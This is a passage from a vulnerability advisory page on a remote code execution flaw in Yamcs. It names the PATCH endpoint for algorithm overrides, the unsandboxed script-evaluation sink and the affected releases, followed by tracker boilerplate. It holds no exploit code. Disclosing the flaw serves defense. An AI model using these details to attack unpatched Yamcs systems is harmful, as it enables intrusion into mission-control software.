alarms, calibrations and algorithms texts\"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`.\n- **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical.\n- **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) \u2014 no upstream fix exists.\n\nIn short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).",
"id": "GHSA-vmwp-vh32-rj75",
"modified": "2026-05-27T22:45:49Z",
"published": "2026-05-27T22:45:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…